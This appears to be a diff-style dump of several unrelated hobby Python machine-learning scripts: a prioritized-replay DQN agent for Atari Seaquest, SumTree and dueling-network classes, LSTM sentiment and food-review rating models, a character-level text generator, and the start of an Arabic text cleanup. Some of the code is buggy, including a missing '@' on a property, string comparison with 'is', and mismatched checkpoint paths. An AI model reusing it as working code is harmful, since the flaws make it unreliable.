+            img, r, done, info = self.env.step(a)
+            s_ = numpy.array([s[1], processImage(img)]) #last two screens
+
+            r = np.clip(r, -1, 1)   # clip reward to [-1, 1]
+
+            if done: # terminal state
+                s_ = None
+
+            agent.observe( (s, a, r, s_) )
+            agent.replay()            
+
+            s = s_
+            R += r
+
+            if done:
+                break
+
+        
+        self.ep_rewards.append(R)
+        avg_reward = sum(self.ep_rewards) / len(self.ep_rewards)
+        if step % UPDATE_STATS_EVERY == 0:
+            min_reward = min(self.ep_rewards)
+            max_reward = max(self.ep_rewards)
+            agent.brain.tensorboard.update_stats(reward_avg=avg_reward, reward_min=min_reward, reward_max=max_reward, epsilon=agent.epsilon)
+            agent.brain.model.save(f"models/{model_name}-avg-{avg_reward:.2f}-min-{min_reward:.2f}-max-{max_reward:2f}.h5")
+        # print("Total reward:", R)
+        return avg_reward
+
+#-------------------- MAIN ----------------------------
+PROBLEM = 'Seaquest-v0'
+env = Environment(PROBLEM)
+
+episodes = 2_000
+
+stateCnt  = (IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT)
+actionCnt = env.env.action_space.n
+
+brain = Brain(stateCnt, actionCnt)
+
+agent = Agent(stateCnt, actionCnt, brain)
+randomAgent = RandomAgent(actionCnt, brain)
+
+step = 0
+try:
+    print("Initialization with random agent...")
+    while randomAgent.exp < MEMORY_CAPACITY:
+        step += 1
+        env.run(randomAgent, step)
+        print(randomAgent.exp, "/", MEMORY_CAPACITY)
+
+    agent.memory = randomAgent.memory
+
+    randomAgent = None
+
+    print("Starting learning")
+    for i in tqdm.tqdm(list(range(step+1, episodes+step+1))):
+        env.run(agent, i)
+finally:
+    agent.brain.model.save("Seaquest-DQN-PER.h5")
+
+
+
+
+import numpy as np
+
+class SumTree:
+    """
+    This SumTree code is modified version of Morvan Zhou: 
+    https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/5.2_Prioritized_Replay_DQN/RL_brain.py
+    """
+    data_pointer = 0
+    def __init__(self, length):
+        # number of leaf nodes (final nodes that contains experiences)
+        self.length = length
+
+        # generate the tree with all nodes' value = 0
+        # binary node (each node has max 2 children) so 2x size of leaf capacity - 1
+        # parent nodes = length - 1
+        # leaf nodes = length
+        self.tree = np.zeros(2*self.length - 1)
+        # contains the experiences
+        self.data = np.zeros(self.length, dtype=object)
+
+    def add(self, priority, data):
+        """
+        Add priority score in the sumtree leaf and add the experience in data
+        """
+        # look at what index we want to put the experience
+        tree_index = self.data_pointer + self.length - 1
+        
+        #tree:
+        #           0
+        #           / \
+        #          0   0
+        #         / \ / \
+       #tree_index  0 0  0  We fill the leaves from left to right
+
+        self.data[self.data_pointer] = data
+
+        # update the leaf
+        self.update(tree_index, priority)
+
+        # increment data pointer
+        self.data_pointer += 1
+
+        # if we're above the capacity, we go back to the first index
+        if self.data_pointer >= self.length:
+            self.data_pointer = 0
+
+
+    def update(self, tree_index, priority):
+        """
+        Update the leaf priority score and propagate the change through the tree
+        """
+
+        # change = new priority score - former priority score
+        change = priority - self.tree[tree_index]
+        self.tree[tree_index] = priority
+
+        while tree_index != 0:    # this method is faster than the recursive loop in the reference code
+            
+            """
+            Here we want to access the line above
+            THE NUMBERS IN THIS TREE ARE THE INDEXES NOT THE PRIORITY VALUES
+            
+                0
+               / \
+              1   2
+             / \ / \
+            3  4 5  [6] 
+            
+            If we are in leaf at index 6, we updated the priority score
+            We need then to update index 2 node
+            So tree_index = (tree_index - 1) // 2
+            tree_index = (6-1)//2
+            tree_index = 2 (because // round the result)
+            """
+            tree_index = (tree_index - 1) // 2
+            self.tree[tree_index] += change
+
+        
+    """
+    Here we get the leaf_index, priority value of that leaf and experience associated with that index
+    """
+    def get_leaf(self, v):
+        """
+        Tree structure and array storage:
+        Tree index:
+             0         -> storing priority sum
+            / \
+          1     2
+         / \   / \
+        3   4 5   6    -> storing priority for experiences
+        Array type for storing:
+        [0,1,2,3,4,5,6]
+        """
+        parent_index = 0
+        
+        while True: # the while loop is faster than the method in the reference code
+            left_child_index = 2 * parent_index + 1
+            right_child_index = left_child_index + 1
+            
+            # If we reach bottom, end the search
+            if left_child_index >= len(self.tree):
+                leaf_index = parent_index
+                break
+            
+            else: # downward search, always search for a higher priority node
+                
+                if v <= self.tree[left_child_index]:
+                    parent_index = left_child_index
+                    
+                else:
+                    v -= self.tree[left_child_index]
+                    parent_index = right_child_index
+            
+        data_index = leaf_index - self.length + 1
+
+        return leaf_index, self.tree[leaf_index], self.data[data_index]
+    
+    property
+    def total_priority(self):
+        return self.tree[0] # Returns the root node
+
+
+
+class Memory:
+    # we use this to avoid some experiences to have 0 probability of getting picked
+    PER_e = 0.01
+    # we use this to make a tradeoff between taking only experiences with high priority
+    # and sampling randomly
+    PER_a = 0.6
+    # we use this for importance sampling, from this to 1 through the training
+    PER_b = 0.4
+
+    PER_b_increment_per_sample = 0.001
+
+    absolute_error_upper = 1.0
+
+    def __init__(self, capacity):
+        # the tree is composed of a sum tree that contains the priority scores and his leaf
+        # and also a data list
+        # we don't use deque here because it means that at each timestep our experiences change index by one
+        # we prefer to use a simple array to override when the memory is full
+        self.tree = SumTree(length=capacity)
+
+    def store(self, experience):
+        """
+        Store a new experience in our tree
+        Each new experience have a score of max_priority (it'll be then improved)
+        """
+        # find the max priority
+        max_priority = np.max(self.tree.tree[-self.tree.length:])
+
+        # if the max priority = 0 we cant put priority = 0 since this exp will never have a chance to be picked
+        # so we use a minimum priority
+        if max_priority == 0:
+            max_priority = self.absolute_error_upper
+        
+        # set the max p for new p
+        self.tree.add(max_priority, experience)
+
+    def sample(self, n):
+        """
+        - First, to sample a minimatch of k size, the range [0, priority_total] is / into k ranges.
+        - then a value is uniformly sampled from each range
+        - we search in the sumtree, the experience where priority score correspond to sample values are 
+        retrieved from.
+        - then, we calculate IS weights for each minibatch element 
+        """
+        # create a sample list that will contains the minibatch
+        memory = []
+
+        b_idx, b_is_weights = np.zeros((n, ), dtype=np.int32), np.zeros((n, 1), dtype=np.float32)
+
+        # calculate the priority segment
+        # here, as explained in the paper, we divide the range [0, ptotal] into n ranges
+        priority_segment = self.tree.total_priority / n
+
+        # increase b each time 
+        self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sample])
+
+        # calculating the max weight
+        p_min = np.min(self.tree.tree[-self.tree.length:]) / self.tree.total_priority
+        max_weight = (p_min * n) ** (-self.PER_b)
+
+        for i in range(n):
+            a, b = priority_segment * i, priority_segment * (i + 1)
+            value = np.random.uniform(a, b)
+
+            # experience that correspond to each value is retrieved
+            index, priority, data = self.tree.get_leaf(value)
+
+            # P(j)
+            sampling_probs = priority / self.tree.total_priority
+
+            # IS = (1/N * 1/P(i))**b /max wi == (N*P(i))**-b  /max wi
+            b_is_weights[i, 0] = np.power(n * sampling_probs, -self.PER_b)/ max_weight
+
+            b_idx[i]= index
+
+            experience = [data]
+
+            memory.append(experience)
+
+        return b_idx, memory, b_is_weights
+
+    
+
+    def batch_update(self, tree_idx, abs_errors):
+        """
+        Update the priorities on the tree
+        """
+        abs_errors += self.PER_e
+        clipped_errors = np.min([abs_errors, self.absolute_error_upper])
+        ps = np.power(clipped_errors, self.PER_a)
+
+        for ti, p in zip(tree_idx, ps):
+            self.tree.update(ti, p)
+
+
+
+
+import tensorflow as tf
+
+class DDDQNNet:
+    """ Dueling Double Deep Q Neural Network """
+    def __init__(self, state_size, action_size, learning_rate, name):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.learning_rate = learning_rate
+        self.name = name
+
+        # we use tf.variable_scope to know which network we're using (DQN or the Target net)
+        # it'll be helpful when we will update our w- parameters (by copy the DQN parameters)
+        with tf.variable_scope(self.name):
+            # we create the placeholders
+            self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name="inputs")
+
+            self.is_weights_ = tf.placeholder(tf.float32, [None, 1], name="is_weights")
+
+            self.actions_ = tf.placeholder(tf.float32, [None, self.action_size], name="actions_")
+
+            # target Q
+            self.target_q = tf.placeholder(tf.float32, [None], name="target")
+
+            # neural net
+            self.dense1 = tf.layers.dense(inputs=self.inputs_,
+                                          units=32,
+                                          name="dense1",
+                                          kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                          activation="relu")
+            
+            self.dense2 = tf.layers.dense(inputs=self.dense1,
+                                          units=32,
+                                          name="dense2",
+                                          kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                          activation="relu")
+
+            self.dense3 = tf.layers.dense(inputs=self.dense2,
+                                          units=32,
+                                          name="dense3",
+                                          kernel_initializer=tf.contrib.layers.xavier_initializer())
+
+            # here we separate into two streams (dueling)
+            # this one is State-Function V(s)
+            self.value = tf.layers.dense(inputs=self.dense3,
+                                         units=1,
+                                         kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                         activation=None,
+                                         name="value"
+                                         )
+
+            # and this one is Value-Function A(s, a)
+            self.advantage = tf.layers.dense(inputs=self.dense3,
+                                             units=self.action_size,
+                                             activation=None,
+                                             kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                             name="advantage"
+                                             )
+
+            # aggregation
+            # Q(s, a) = V(s) + ( A(s, a) - 1/|A| * sum A(s, a') )
+
+            self.output = self.value + tf.subtract(self.advantage, tf.reduce_mean(self.advantage, axis=1, keepdims=True))
+
+            # Q is our predicted Q value
+            self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_))
+
+            self.absolute_errors = tf.abs(self.target_q - self.Q)
+
+            # w- * (target_q - q)**2
+            self.loss = tf.reduce_mean(self.is_weights_ * tf.squared_difference(self.target_q, self.Q))
+
+
+            self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)
+
+
+
+
+import numpy
+
+class SumTree:
+    write = 0
+
+    def __init__(self, capacity):
+        self.capacity = capacity
+        self.tree = numpy.zeros( 2*capacity - 1 )
+        self.data = numpy.zeros( capacity, dtype=object )
+
+    def _propagate(self, idx, change):
+        parent = (idx - 1) // 2
+
+        self.tree[parent] += change
+
+        if parent != 0:
+            self._propagate(parent, change)
+
+    def _retrieve(self, idx, s):
+        left = 2 * idx + 1
+        right = left + 1
+
+        if left >= len(self.tree):
+            return idx
+
+        if s <= self.tree[left]:
+            return self._retrieve(left, s)
+        else:
+            return self._retrieve(right, s-self.tree[left])
+
+    def total(self):
+        return self.tree[0]
+
+    def add(self, p, data):
+        idx = self.write + self.capacity - 1
+
+        self.data[self.write] = data
+        self.update(idx, p)
+
+        self.write += 1
+        if self.write >= self.capacity:
+            self.write = 0
+
+    def update(self, idx, p):
+        change = p - self.tree[idx]
+
+        self.tree[idx] = p
+        self._propagate(idx, change)
+
+    def get(self, s):
+        idx = self._retrieve(0, s)
+        dataIdx = idx - self.capacity + 1
+
+        return (idx, self.tree[idx], self.data[dataIdx])
+
+
+
+
+import numpy as np
+
+from string import punctuation
+from collections import Counter
+from sklearn.model_selection import train_test_split
+
+
+with open("data/reviews.txt") as f:
+    reviews = f.read()
+
+with open("data/labels.txt") as f:
+    labels = f.read()
+
+# remove all punctuations
+all_text = ''.join([ c for c in reviews if c not in punctuation ])
+
+reviews = all_text.split("\n")
+reviews = [ review.strip() for review in reviews ]
+all_text = ' '.join(reviews)
+words = all_text.split()
+print("Total words:", len(words))
+
+# encoding the words
+
+# dictionary that maps vocab words to integers here
+vocab = sorted(set(words))
+print("Unique words:", len(vocab))
+# start is 1 because 0 is encoded for blank
+vocab2int = {word: i for i, word in enumerate(vocab, start=1)}
+
+# encoded reviews
+encoded_reviews = []
+for review in reviews:
+    encoded_reviews.append([vocab2int[word] for word in review.split()])
+
+encoded_reviews = np.array(encoded_reviews)
+# print("Number of reviews:", len(encoded_reviews))
+
+# encode the labels, 1 for 'positive' and 0 for 'negative'
+labels = labels.split("\n")
+labels = [1 if label is 'positive' else 0 for label in labels]
+# print("Number of labels:", len(labels))
+
+review_lens = [len(x) for x in encoded_reviews]
+counter_reviews_lens = Counter(review_lens)
+
+# remove any reviews with 0 length
+cleaned_encoded_reviews, cleaned_labels = [], []
+for review, label in zip(encoded_reviews, labels):
+    if len(review) != 0:
+        cleaned_encoded_reviews.append(review)
+        cleaned_labels.append(label)
+
+encoded_reviews = np.array(cleaned_encoded_reviews)
+labels = cleaned_labels
+# print("Number of reviews:", len(encoded_reviews))
+# print("Number of labels:", len(labels))
+
+sequence_length = 200
+features = np.zeros((len(encoded_reviews), sequence_length), dtype=int)
+for i, review in enumerate(encoded_reviews):
+    features[i, -len(review):] = review[:sequence_length]
+
+# print(features[:10, :100])
+
+# split data into train, validation and test
+split_frac = 0.9
+
+X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=1-split_frac)
+X_test, X_validation, y_test, y_validation = train_test_split(X_test, y_test, test_size=0.5)
+
+print(f"""Features shapes:
+Train set:      {X_train.shape}
+Validation set: {X_validation.shape}
+Test set:       {X_test.shape}""")
+print("Example:")
+print(X_train[0])
+print(y_train[0])
+
+# X_train, X_validation = features[:split_frac*len(features)], features[split_frac*len(features):]
+# y_train, y_validation = labels[:split]
+
+
+
+
+import tensorflow as tf
+from utils import get_batches
+from train import *
+
+
+
+
+import tensorflow as tf
+from preprocess import vocab2int, X_train, y_train, X_validation, y_validation, X_test, y_test
+from utils import get_batches
+
+import numpy as np
+
+def get_lstm_cell():
+    # basic LSTM cell
+    lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size)
+
+    # dropout to the cell
+    drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob)
+
+    return drop
+
+# RNN paramaters
+lstm_size = 256
+lstm_layers = 1
+batch_size = 256
+learning_rate = 0.001
+
+n_words = len(vocab2int) + 1 # Added 1 for the 0 that is for padding
+
+# create the graph object
+graph = tf.Graph()
+# add nodes to the graph
+with graph.as_default():
+    inputs = tf.placeholder(tf.int32, (None, None), "inputs")
+    labels = tf.placeholder(tf.int32, (None, None), "labels")
+    keep_prob = tf.placeholder(tf.float32, name="keep_prob")
+
+# number of units in the embedding layer
+embedding_size = 300
+
+with graph.as_default():
+    # embedding lookup matrix
+    embedding = tf.Variable(tf.random_uniform((n_words, embedding_size), -1, 1))
+    # pass to the LSTM cells
+    embed = tf.nn.embedding_lookup(embedding, inputs)
+
+    # stackup multiple LSTM layers
+    cell = tf.contrib.rnn.MultiRNNCell([get_lstm_cell() for i in range(lstm_layers)])
+
+    initial_state = cell.zero_state(batch_size, tf.float32)
+
+    # pass cell and input to cell, returns outputs for each time step
+    # and the final state of the hidden layer
+    # run the data through the rnn nodes
+    outputs, final_state = tf.nn.dynamic_rnn(cell, embed, initial_state=initial_state)
+
+    # grab the last output
+    # use sigmoid for binary classification
+    predictions = tf.contrib.layers.fully_connected(outputs[:, -1], 1, activation_fn=tf.sigmoid)
+
+    # calculate cost using MSE
+    cost = tf.losses.mean_squared_error(labels, predictions)
+    optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost)
+
+    # nodes to calculate the accuracy
+    correct_pred = tf.equal(tf.cast(tf.round(predictions), tf.int32), labels)
+    accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))
+
+    saver = tf.train.Saver()
+
+########### training ##########
+epochs = 10
+
+with tf.Session(graph=graph) as sess:
+    sess.run(tf.global_variables_initializer())
+    iteration = 1
+
+    for e in range(epochs):
+        state = sess.run(initial_state)
+
+        for i, (x, y) in enumerate(get_batches(X_train, y_train, batch_size=batch_size)):
+            y = np.array(y)
+            x = np.array(x)
+            feed = {inputs: x, labels: y[:, None],
+                    keep_prob: 0.5,
+                    initial_state: state}
+            loss, state, _ = sess.run([cost, final_state, optimizer], feed_dict=feed)
+
+            if iteration % 5 == 0:
+                print(f"[Epoch: {e}/{epochs}] Iteration: {iteration} Train loss: {loss:.3f}")
+            
+            if iteration % 25 == 0:
+                val_acc = []
+                val_state = sess.run(cell.zero_state(batch_size, tf.float32))
+                for x, y in get_batches(X_validation, y_validation, batch_size=batch_size):
+                    x, y = np.array(x), np.array(y)
+                    feed = {inputs: x, labels: y[:, None],
+                            keep_prob: 1, initial_state: val_state}
+                    batch_acc, val_state = sess.run([accuracy, final_state], feed_dict=feed)
+                    val_acc.append(batch_acc)
+                print(f"val_acc: {np.mean(val_acc):.3f}")
+
+            iteration += 1
+
+    saver.save(sess, "chechpoints/sentiment1.ckpt")
+
+test_acc = []
+with tf.Session(graph=graph) as sess:
+    saver = tf.train.Saver()
+    saver.restore(sess, tf.train.latest_checkpoint('checkpoints'))
+    test_state = sess.run(cell.zero_state(batch_size, tf.float32))
+    for ii, (x, y) in enumerate(get_batches(X_test, y_test, batch_size), 1):
+        feed = {inputs: x,
+                labels: y[:, None],
+                keep_prob: 1,
+                initial_state: test_state}
+        batch_acc, test_state = sess.run([accuracy, final_state], feed_dict=feed)
+        test_acc.append(batch_acc)
+    print("Test accuracy: {:.3f}".format(np.mean(test_acc)))
+
+
+
+
+def get_batches(x, y, batch_size=100):
+
+    n_batches = len(x) // batch_size
+    x, y = x[:n_batches*batch_size], y[:n_batches*batch_size]
+    for i in range(0, len(x), batch_size):
+        yield x[i: i+batch_size], y[i: i+batch_size]
+
+
+
+
+import numpy as np
+import pandas as pd
+import tqdm
+from string import punctuation
+
+punc = set(punctuation)
+
+df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv")
+
+
+X = np.zeros((len(df), 2), dtype=object)
+
+for i in tqdm.tqdm(range(len(df)), "Cleaning X"):
+    target = df['Text'].loc[i]
+
+    # X.append(''.join([ c.lower() for c in target if c not in punc ]))
+    X[i, 0] = ''.join([ c.lower() for c in target if c not in punc ])
+    X[i, 1] = df['Score'].loc[i]
+
+
+pd.DataFrame(X, columns=["Text", "Score"]).to_csv("data/Reviews.csv")
+
+
+
+
+### Model Architecture hyper parameters
+embedding_size = 64
+# sequence_length = 500
+sequence_length = 42
+LSTM_units = 128
+
+### Training parameters
+batch_size = 128
+epochs = 20
+
+### Preprocessing parameters
+# words that occur less than n times to be deleted from dataset
+N = 10
+
+# test size in ratio, train size is 1 - test_size
+test_size = 0.15
+
+
+
+
+from keras.models import Sequential
+from keras.layers import Embedding, LSTM, Dense, Activation, LeakyReLU, Dropout, TimeDistributed
+from keras.layers import SpatialDropout1D
+from config import LSTM_units
+
+
+def get_model_binary(vocab_size, sequence_length):
+    embedding_size = 64
+    model=Sequential()
+    model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length))
+    model.add(SpatialDropout1D(0.15))
+    model.add(LSTM(LSTM_units, recurrent_dropout=0.2))
+    model.add(Dropout(0.3))
+    model.add(Dense(1, activation='sigmoid'))
+    model.summary()
+    return model
+
+def get_model_5stars(vocab_size, sequence_length, embedding_size, verbose=0):
+    model=Sequential()
+    model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length))
+    model.add(SpatialDropout1D(0.15))
+    model.add(LSTM(LSTM_units, recurrent_dropout=0.2))
+    model.add(Dropout(0.3))
+    model.add(Dense(1, activation="linear"))
+    if verbose:
+        model.summary()
+    return model
+
+
+
+
+import numpy as np
+import pandas as pd
+import tqdm
+import pickle
+from collections import Counter
+from sklearn.model_selection import train_test_split
+
+from utils import clean_text, tokenize_words
+from config import N, test_size
+
+def load_review_data():
+    # df = pd.read_csv("data/Reviews.csv")
+    df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv")
+    # preview
+    print(df.head())
+    print(df.tail())
+    vocab = []
+    # X = np.zeros((len(df)*2, 2), dtype=object)
+    X = np.zeros((len(df), 2), dtype=object)
+    # for i in tqdm.tqdm(range(len(df)), "Cleaning X1"):
+    #     target = df['Text'].loc[i]
+    #     score = df['Score'].loc[i]
+    #     X[i, 0] = clean_text(target)
+    #     X[i, 1] = score
+    #     for word in X[i, 0].split():
+    #         vocab.append(word)
+
+    # k = i+1
+    k = 0
+
+    for i in tqdm.tqdm(range(len(df)), "Cleaning X2"):
+        target = df['Summary'].loc[i]
+        score = df['Score'].loc[i]
+        X[i+k, 0] = clean_text(target)
+        X[i+k, 1] = score
+        for word in X[i+k, 0].split():
+            vocab.append(word)
+
+    # vocab = set(vocab)
+    vocab = Counter(vocab)
+
+    # delete words that occur less than 10 times
+    vocab = { k:v for k, v in vocab.items() if v >= N }
+
+    # word to integer encoder dict
+    vocab2int = {word: i for i, word in enumerate(vocab, start=1)}
+
+    # pickle int2vocab for testing 
+    print("Pickling vocab2int...")
+    pickle.dump(vocab2int, open("data/vocab2int.pickle", "wb"))
+
+    # encoded reviews
+    for i in tqdm.tqdm(range(X.shape[0]), "Tokenizing words"):
+        X[i, 0] = tokenize_words(str(X[i, 0]), vocab2int)
+
+    lengths = [ len(row)  for row in X[:, 0] ]
+    print("min_length:", min(lengths))
+    print("max_length:", max(lengths))
+
+    X_train, X_test, y_train, y_test = train_test_split(X[:, 0], X[:, 1], test_size=test_size, shuffle=True, random_state=19)
+
+    return X_train, X_test, y_train, y_test, vocab
+
+
+
+
+import os
+# disable keras loggings
+import sys
+stderr = sys.stderr
+sys.stderr = open(os.devnull, 'w')
+import keras
+sys.stderr = stderr
+# to use CPU
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+
+                        inter_op_parallelism_threads=5, 
+
+                        allow_soft_placement=True,
+
+                        device_count = {'CPU' : 1,
+
+                                        'GPU' : 0}
+
+                       )
+
+from model import get_model_5stars
+from utils import clean_text, tokenize_words
+from config import embedding_size, sequence_length
+from keras.preprocessing.sequence import pad_sequences
+
+import pickle
+
+vocab2int = pickle.load(open("data/vocab2int.pickle", "rb"))
+model = get_model_5stars(len(vocab2int), sequence_length=sequence_length, embedding_size=embedding_size)
+
+model.load_weights("results/model_V20_0.38_0.80.h5")
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Food Review evaluator")
+    parser.add_argument("review", type=str, help="The review of the product in text")
+    args = parser.parse_args()
+
+    review = tokenize_words(clean_text(args.review), vocab2int)
+    x = pad_sequences([review], maxlen=sequence_length)
+
+    print(f"{model.predict(x)[0][0]:.2f}/5")
+
+
+
+
+# to use CPU
+# import os
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+                    #    )
+
+import os
+import numpy as np
+import pandas as pd
+from keras.callbacks import ModelCheckpoint
+from keras.preprocessing import sequence
+
+from preprocess import load_review_data
+from model import get_model_5stars
+from config import sequence_length, embedding_size, batch_size, epochs
+
+X_train, X_test, y_train, y_test, vocab = load_review_data()
+
+vocab_size = len(vocab)
+
+print("Vocab size:", vocab_size)
+
+X_train = sequence.pad_sequences(X_train, maxlen=sequence_length)
+X_test = sequence.pad_sequences(X_test, maxlen=sequence_length)
+
+print("X_train.shape:", X_train.shape)
+print("X_test.shape:", X_test.shape)
+
+print("y_train.shape:", y_train.shape)
+print("y_test.shape:", y_test.shape)
+
+model = get_model_5stars(vocab_size, sequence_length=sequence_length, embedding_size=embedding_size)
+model.load_weights("results/model_V40_0.60_0.67.h5")
+model.compile(loss="mse", optimizer="adam", metrics=["accuracy"])
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpointer = ModelCheckpoint("results/model_V40_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=True, verbose=1)
+
+model.fit(X_train, y_train, epochs=epochs,
+          validation_data=(X_test, y_test),
+          batch_size=batch_size,
+          callbacks=[checkpointer])
+
+
+
+
+import numpy as np
+from string import punctuation
+
+# make it a set to accelerate tests
+punc = set(punctuation)
+
+def clean_text(text):
+    return ''.join([ c.lower() for c in str(text) if c not in punc ])
+
+def tokenize_words(words, vocab2int):
+    words = words.split()
+    tokenized_words = np.zeros((len(words),))
+    for j in range(len(words)):
+        try:
+            tokenized_words[j] = vocab2int[words[j]]
+        except KeyError:
+            # didn't add any unk, just ignore
+            pass
+    return tokenized_words
+
+
+
+
+import numpy as np
+import pickle
+import tqdm
+from keras.models import Sequential
+from keras.layers import Dense, LSTM, Dropout, Activation
+from keras.callbacks import ModelCheckpoint
+
+seed = "import os"
+# output:
+# ded of and alice as it go on and the court
+# well you wont you wouldncopy thing
+# there was not a long to growing anxiously any only a low every cant
+# go on a litter which was proves of any only here and the things and the mort meding and the mort and alice was the things said to herself i cant remeran as if i can repeat eften to alice any of great offf its archive of and alice and a cancur as the mo
+
+char2int = pickle.load(open("python-char2int.pickle", "rb"))
+int2char = pickle.load(open("python-int2char.pickle", "rb"))
+
+sequence_length = 100
+n_unique_chars = len(char2int)
+
+# building the model
+model = Sequential([
+    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    Dropout(0.3),
+    LSTM(256),
+    Dense(n_unique_chars, activation="softmax"),
+])
+
+model.load_weights("results/python-v2-2.48.h5")
+
+# generate 400 characters
+generated = ""
+for i in tqdm.tqdm(range(400), "Generating text"):
+    # make the input sequence
+    X = np.zeros((1, sequence_length, n_unique_chars))
+    for t, char in enumerate(seed):
+        X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1
+    # predict the next character
+    predicted = model.predict(X, verbose=0)[0]
+    # converting the vector to an integer
+    next_index = np.argmax(predicted)
+    # converting the integer to a character
+    next_char = int2char[next_index]
+    # add the character to results
+    generated += next_char
+    # shift seed and the predicted character
+    seed = seed[1:] + next_char
+
+print("Generated text:")
+print(generated)
+
+
+
+
+import numpy as np
+import os
+import pickle
+from keras.models import Sequential
+from keras.layers import Dense, LSTM, Dropout
+from keras.callbacks import ModelCheckpoint
+
+from utils import get_batches
+
+# import requests
+# content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text
+# open("data/wonderland.txt", "w", encoding="utf-8").write(content)
+
+from string import punctuation
+# read the data
+# text = open("data/wonderland.txt", encoding="utf-8").read()
+text = open("E:\\datasets\\text\\my_python_code.py").read()
+# remove caps
+text = text.lower()
+for c in "!":
+    text = text.replace(c, "")
+# text = text.lower().replace("\n\n", "\n").replace("", "").replace("", "").replace("", "").replace("", "")
+# text = text.translate(str.maketrans("", "", punctuation))
+# text = text[:100_000]
+n_chars = len(text)
+unique_chars = ''.join(sorted(set(text)))
+print("unique_chars:", unique_chars)
+n_unique_chars = len(unique_chars)
+print("Number of characters:", n_chars)
+print("Number of unique characters:", n_unique_chars)
+
+# dictionary that converts characters to integers
+char2int = {c: i for i, c in enumerate(unique_chars)}
+# dictionary that converts integers to characters
+int2char = {i: c for i, c in enumerate(unique_chars)}
+
+# save these dictionaries for later generation
+pickle.dump(char2int, open("python-char2int.pickle", "wb"))
+pickle.dump(int2char, open("python-int2char.pickle", "wb"))
+
+# hyper parameters
+sequence_length = 100
+step = 1
+batch_size = 128
+epochs = 1
+
+sentences = []
+y_train = []
+for i in range(0, len(text) - sequence_length, step):
+    sentences.append(text[i: i + sequence_length])
+    y_train.append(text[i+sequence_length])
+print("Number of sentences:", len(sentences))
+
+X = get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps=step)
+
+# for i, x in enumerate(X):
+#     if i == 1:
+#         break
+#     print(x[0].shape, x[1].shape)
+
+# # vectorization
+# X = np.zeros((len(sentences), sequence_length, n_unique_chars))
+# y = np.zeros((len(sentences), n_unique_chars))
+
+# for i, sentence in enumerate(sentences):
+#     for t, char in enumerate(sentence):
+#         X[i, t, char2int[char]] = 1
+#         y[i, char2int[y_train[i]]] = 1
+# X = np.array([char2int[c] for c in text])
+
+# print("X.shape:", X.shape)
+# goal of X is (n_samples, sequence_length, n_chars)
+# sentences = np.zeros(())
+
+
+# print("y.shape:", y.shape)
+# building the model
+# model = Sequential([
+#     LSTM(128, input_shape=(sequence_length, n_unique_chars)),
+#     Dense(n_unique_chars, activation="softmax"),
+# ])
+# building the model
+model = Sequential([
+    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    Dropout(0.3),
+    LSTM(256),
+    Dense(n_unique_chars, activation="softmax"),
+])
+
+model.load_weights("results/python-v2-2.48.h5")
+
+model.summary()
+model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpoint = ModelCheckpoint("results/python-v2-{loss:.2f}.h5", verbose=1)
+
+# model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint])
+model.fit_generator(X, steps_per_epoch=len(sentences) // batch_size, epochs=epochs, callbacks=[checkpoint])
+
+
+
+
+import numpy as np
+
+def get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps):
+
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(sentences) // chars_per_batch
+    while True:
+        for i in range(0, len(sentences), batch_size):
+
+            X = np.zeros((batch_size, sequence_length, n_unique_chars))
+            y = np.zeros((batch_size, n_unique_chars))
+
+            for i, sentence in enumerate(sentences[i: i+batch_size]):
+                for t, char in enumerate(sentence):
+                    X[i, t, char2int[char]] = 1
+                    y[i, char2int[y_train[i]]] = 1
+
+            yield X, y
+
+
+
+
+from pyarabic.araby import ALPHABETIC_ORDER
+
+with open("quran.txt", encoding="utf8") as f:
+    text = f.read()
+
+unique_chars = set(text)
+print("unique chars:", unique_chars)
+arabic_alpha = { c for c, order in ALPHABETIC_ORDER.items() }
+to_be_removed = unique_chars - arabic_alpha
+to_be_removed = to_be_removed - {'.', ' ', ''}
